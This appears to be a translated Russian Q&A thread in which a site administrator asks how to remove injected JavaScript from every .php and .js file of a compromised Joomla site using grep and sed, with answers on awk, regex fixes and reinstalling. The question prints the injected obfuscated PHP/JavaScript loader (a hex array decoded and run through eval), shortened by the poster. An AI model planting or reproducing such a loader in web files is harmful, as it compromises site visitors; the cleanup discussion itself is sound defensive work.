Назад | Перейти на главную страницу

GREP находит и использует SED для замены строки во всех файлах

Один из наших старых размещенных сайтов Joomla подвергся инъекции JavaScript, и я собираюсь его очистить. Следующий код был вставлен в каждый файл .php или .js:

<?
#0c0896#
echo " <script type=\"text/javascript\" language=\"javascript\" > bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";ff=String.fromCharCode;w=window;z=\"dy\";try{document[\"\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,61,58,67,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1333!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}</script>";

#/0c0896#
?>

"точный синтаксис, хотя фактический код НАМНОГО длиннее, я вырезал много шестнадцатеричного кода из середины, чтобы упростить его"

Я пытаюсь использовать GREP и SED для поиска и замены всех файлов, и мне кажется, что мой синтаксис для SED не совсем правильный.

grep -rl "4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c" ./ | xargs sed -i 's/<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>//g

Я собираюсь использовать команду grep для поиска во всех файлах фрагмента кода, который работает, а затем использовать SED для замены тегов # 0c0896 # и всего, что между ними, ничем.

Sed - неправильный инструмент, потому что он учитывает только строку за раз.

Awk - гораздо лучший инструмент для выполнения действий с содержимым между двумя совпадающими строками.

awk '/a/,/b/ { next } { print }'

пропустит все между строками, которые соответствуют регулярному выражению а и регулярное выражение б.

Однако более прямой ответ заключается в том, что после взлома машины ты не можешь ничему доверять в теме. Единственный подходящий способ действий для профессионального системного администратора - это переустановить машину с нуля.

Вместо того

<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>

использовать

<?.*#0c0896#.*#\/0c0896#.*?>

Выражение в скобках соответствует только одному одиночному символу, если этот символ находится в скобках. Также внутри выражения в квадратных скобках теряют свое значение квантификаторы регулярных выражений и другие специальные символы. Предоставленное вами выражение означает: сопоставьте открытую угловую скобку, за которой следует вопросительный знак, за которым следует точка или звезда, за которыми следует ...

Sed ориентирован на линии, поэтому .* в приведенном выше будет не охватывают строки. Оскорбительный код в одной строке?